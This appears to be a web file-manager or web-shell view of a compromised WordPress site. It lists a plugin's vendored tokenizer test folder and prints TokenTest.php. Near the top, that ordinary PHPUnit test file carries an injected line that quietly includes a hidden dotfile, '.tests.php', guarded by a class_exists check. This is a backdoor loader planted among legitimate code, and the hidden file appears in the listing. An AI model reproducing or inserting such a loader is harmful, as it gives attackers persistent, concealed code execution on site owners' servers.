PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
theseer
/
tokenizer
/
tests
<?php declare(strict_types = 1); namespace TheSeer\Tokenizer; use PHPUnit\Framework\TestCase; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TokenTest extends TestCase { /** @var Token */ private $token; protected function setUp() { $this->token = new Token(1,'test-dummy', 'blank'); } public function testTokenCanBeCreated() { $this->assertInstanceOf(Token::class, $this->token); } public function testTokenLineCanBeRetrieved() { $this->assertEquals(1, $this->token->getLine()); } public function testTokenNameCanBeRetrieved() { $this->assertEquals('test-dummy', $this->token->getName()); } public function testTokenValueCanBeRetrieved() { $this->assertEquals('blank', $this->token->getValue()); } }
[+]
..
[+]
_files
[-] NamespaceUriTest.php
[edit]
[-] TokenCollectionTest.php
[edit]
[-] TokenTest.php
[edit]
[-] .tests.php
[edit]
[-] TokenizerTest.php
[edit]
[-] XMLSerializerTest.php
[edit]